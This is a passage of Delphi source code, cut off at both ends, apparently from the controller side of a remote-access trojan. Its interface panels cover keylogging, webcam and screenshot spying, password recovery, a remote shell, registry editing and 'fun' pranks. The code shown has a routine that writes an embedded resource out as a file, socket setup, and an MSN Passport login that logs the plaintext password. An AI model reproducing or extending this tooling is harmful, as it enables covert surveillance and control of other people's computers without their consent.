- RootNode : TTreeNode;
- ConnectedIP : string;
- UploadFileSource : string;
- DownloadFileSource : string;
- RemoteFilePath : string;
- ServerSystemPath : string;
- ServerExtention : string;
- tempClientSocket : TSimpleTCPClient;
- ServerPassword : string;
- typeconnection : integer;
- CurrentSocket : integer;
- count : integer;
- var
- Myfile : TIniFile;
- LData : array[0..999] of string;
- implementation
- uses UHelp, UfrmShell, UfrmCapture;
- {$R *.dfm}
- procedure ExtractResourceToFile( ResName, ResExtract: String);
- var
- ResourceLocation: HRSRC;
- cFileHandle, cResourceDataHandle: THandle;
- cResourceSize, cBytesWritten: Longword;
- cRecourcePath, cResourcePointer: PChar;
- begin
- cRecourcePath := PChar( ResExtract );
- ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA);
- cResourceSize := SizeofResource(HInstance,ResourceLocation);
- cResourceDataHandle := LoadResource(HInstance,ResourceLocation);
- cResourcePointer := LockResource(cResourceDataHandle);
- cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
- WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil);
- CloseHandle( cFileHandle );
- end;
- procedure putMessage(s : string);
- begin
- frmMain.MainMsg.ShowMessagePos(s,frmMain.Left + (frmMain.Width div 3),frmMain.Top+ (frmMain.Height div 3));
- end;
- function ReadMWord(f: TFileStream): word;
- type
- TMotorolaWord = record
- case byte of
- 0: (Value: word);
- 1: (Byte1, Byte2: byte);
- end;
- var
- MW: TMotorolaWord;
- begin
- { It would probably be better to just read these two bytes in normally }
- { and then do a small ASM routine to swap them. But we aren't talking }
- { about reading entire files, so I doubt the performance gain would be }
- { worth the trouble. }
- f.Read(MW.Byte2, SizeOf(Byte));
- f.Read(MW.Byte1, SizeOf(Byte));
- Result := MW.Value;
- end;
- procedure GetJPGSize(const sFile: string; var wWidth, wHeight: word);
- const
- ValidSig : array[0..1] of byte = ($FF, $D8);
- Parameterless = [$01, $D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7];
- var
- Sig: array[0..1] of byte;
- f: TFileStream;
- x: integer;
- Seg: byte;
- Dummy: array[0..15] of byte;
- Len: word;
- ReadLen: LongInt;
- begin
- FillChar(Sig, SizeOf(Sig), #0);
- f := TFileStream.Create(sFile, fmOpenRead);
- try
- ReadLen := f.Read(Sig[0], SizeOf(Sig));
- for x := Low(Sig) to High(Sig) do
- if Sig[x] <> ValidSig[x] then ReadLen := 0;
- if ReadLen > 0 then
- begin
- ReadLen := f.Read(Seg, 1);
- while (Seg = $FF) and (ReadLen > 0) do
- begin
- ReadLen := f.Read(Seg, 1);
- if Seg <> $FF then
- begin
- if (Seg = $C0) or (Seg = $C1) then
- begin
- ReadLen := f.Read(Dummy[0], 3); { don't need these bytes }
- wHeight := ReadMWord(f);
- wWidth := ReadMWord(f);
- end else begin
- if not (Seg in Parameterless) then
- begin
- Len := ReadMWord(f);
- f.Seek(Len-2, 1);
- f.Read(Seg, 1);
- end else
- Seg := $FF; { Fake it to keep looping. }
- end;
- end;
- end;
- end;
- finally
- f.Free;
- end;
- end;
- procedure TfrmMain.hideforms ;
- begin
- gb2.Visible:=false;
- gb3.Visible:=false;
- gb5.Visible:=false;
- gb6.Visible:=false;
- gb7.Visible:=false;
- gb8.Visible:=false;
- gb9.Visible:=false;
- gbMSN.Visible:=false;
- gbSkinManager.Visible:=false;
- gbSpyKeylogger.Visible:=false;
- gbSpyScreenshot.Visible:=false;
- gbSpyWebcam.Visible:=false;
- gbspyprocesses.Visible:=false;
- gbWindows.Visible:=false;
- gbConsole.Visible:=false;
- gbMSGs.Visible:=false;
- gbRegEdit.Visible:=false;
- gbINF.Visible:=false;
- gbPasswords.Visible:=false;
- gbSkinManager.Visible:=false;
- gbAdmin.Visible:=false;
- gbFun.Visible:=false;
- gbSearch.Visible:=false;
- gbServices.Visible:=false;
- gbOnlineEditor.Visible:=false;
- gbWebServer.Visible:=false;
- gbShutDown.Visible:=false;
- end;
- procedure SendMSNData (COMD : string;PARM :string);
- begin
- MSN_COUNTID:=MSN_COUNTID + 1 ;
- frmmain.MSNClient.Write(COMD + ' ' + inttostr(MSN_COUNTID) + ' ' +PARM + #13#10);
- end;
- function sslget(url,chal:string):string;
- var
- NetHandle,UrlHandle: HINTERNET;
- Buffer: array[0..4095] of Char;
- auth,username,password:string;
- dummy,kk: dWord;
- begin
- password:=MSN_PASS;
- username:=MSN_Email; // Get username and changes @ into %40
- username:=copy(username,1,pos('@',username)-1)+'%40'+copy(username,pos('@',username)+1,222);
- if chal<>'' then auth:='Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in='+username+',pwd='+password+','+chal;
- frmMain.Memo1.Lines.Add('WININET: ' + url);
- frmMain.Memo1.Lines.Add ('WININET: '+ auth);
- NetHandle := InternetOpen('MSMSGS', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_UI + INTERNET_FLAG_PRAGMA_NOCACHE + INTERNET_FLAG_SECURE);
- UrlHandle := InternetOpenUrl(NetHandle, PChar(url), pchar(auth), dword(-1), INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_AUTO_REDIRECT, 0);
- FillChar(Buffer, SizeOf(Buffer), 0);
- kk:=SizeOf(Buffer);
- dummy:=0;
- HttpQueryInfo(UrlHandle,HTTP_QUERY_RAW_HEADERS_CRLF,@Buffer,kk,dummy);
- result:=buffer;
- InternetCloseHandle(UrlHandle);
- InternetCloseHandle(NetHandle);
- frmMain.Memo1.Lines.Add (result);
- end;
- function fesauth(chal:string):string;
- begin
- if loginhost='' then begin // We must find the login server
- loginhost:=sslget('https://nexus.passport.com/rdr/pprdr.asp',''); // Tells us what the login server is
- delete(loginhost,1,pos('DALogin=',loginhost)+7); // Server is after DALogin=
- loginhost:='https://'+copy(loginhost,1,pos(',',loginhost)-1); // We add "https://" to the address
- end;
- result:=sslget(loginhost,chal); // Connect to login server
- while pos('Location: ',result)>0 do begin // Loop here if server redirects us
- result:=copy(result,pos('Location: ',result)+10,22222);
- result:=copy(result,1,pos(#13,result)-1);
- result:=sslget(result,chal); // result = address we're been redirected (begins with https://)
- end;
- if pos('da-status=success',result)>0 then begin // we succeeded
- delete(result,1,pos('from-PP=',result)+8); // Get the "blahblahblah" of "from-PP='blahblahblah'
- result:=copy(result,1,pos('''',result)-1); // result = our passport auth :)
- end
- else begin // we failed
- delete(result,1,pos('cbtxt=',result)+5); // get error message
- showmessage(result); // show it (should be de-escaped)
- result:='';
- end;
- end;
- procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
- var
- RC: integer;
- begin
- if Socket <> INVALID_SOCKET then
- begin
- WSAASyncSelect(Socket, Handle, wMsg , 0);
- if shutdown(Socket, 1) <> 0 then
- if WSAGetLastError <> WSAENOTCONN then
- begin
- // SocketError(WSAGetLastError);
- Exit;
- end;
- if closesocket(Socket) <> 0 then
- // SocketError(WSAGetLastError)
- else
- Socket:= INVALID_SOCKET;
- end;
- end;
- procedure CreateSocketSB ;
- begin
- SocketClose ( SocketSB ,frmMain.Handle, WM_SB);
- {--------------We have to create a socket for ftp Commands Client------------- }
- SocketSB := socket(AF_INET, SOCK_STREAM, 0);
- if (SocketSB <> INVALID_SOCKET) THEN BEGIN
- SBaddr.sin_family := AF_INET;
- SBaddr.sin_port := 0;
- SBaddr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(SocketSB ,SBaddr,sizeof(SBaddr))= INVALID_SOCKET ) then begin
- halt;
- end;
- if (WSAAsyncSelect(SocketSB, FrmMain.Handle, WM_SB, FD_READ or FD_READ or FD_WRITE or FD_CLOSE or FD_Connect) = SOCKET_ERROR) then begin
- halt;
- end;
- end;
- procedure CreateSocketMSN ;
- begin
- SocketClose ( SocketMSN ,frmMain.Handle, WM_MSN);
- {--------------We have to create a socket for MSN Connection------------- }
- SocketMSN := socket(AF_INET, SOCK_STREAM, 0);
- if ( SocketMSN <> INVALID_SOCKET) THEN BEGIN
- MSNaddr.sin_family := AF_INET;
- MSNaddr.sin_port := 0;
- MSNaddr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind( SocketMSN , MSNaddr,sizeof( MSNaddr))= INVALID_SOCKET ) then begin
- halt;
- end;
- if (WSAAsyncSelect( SocketMSN, FrmMain.Handle, WM_MSN , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or FD_Connect) = SOCKET_ERROR) then begin
- halt;
- end;
- end;
- procedure itemexits(text : string);
- var
- count : integer;
- begin
- for count :=0 to frmmain.lvMSN.Items.Count -1 do begin
- if frmmain.lvMSN.Items.Item[count].Caption=text then begin
- frmmain.lvMSN.Items.Item[count].Delete;
- exit;
- end;
- end;
- end;
- procedure CHG;
- var
- MyList : TListItem;
- count : integer;
- begin
- sleep(5000);
- SENDMSNDATA( 'CHG','NLN 0');
- sleep (2000);
- frmmain.Memo1.Text:= replace (frmmain.Memo1.Text,'ILN','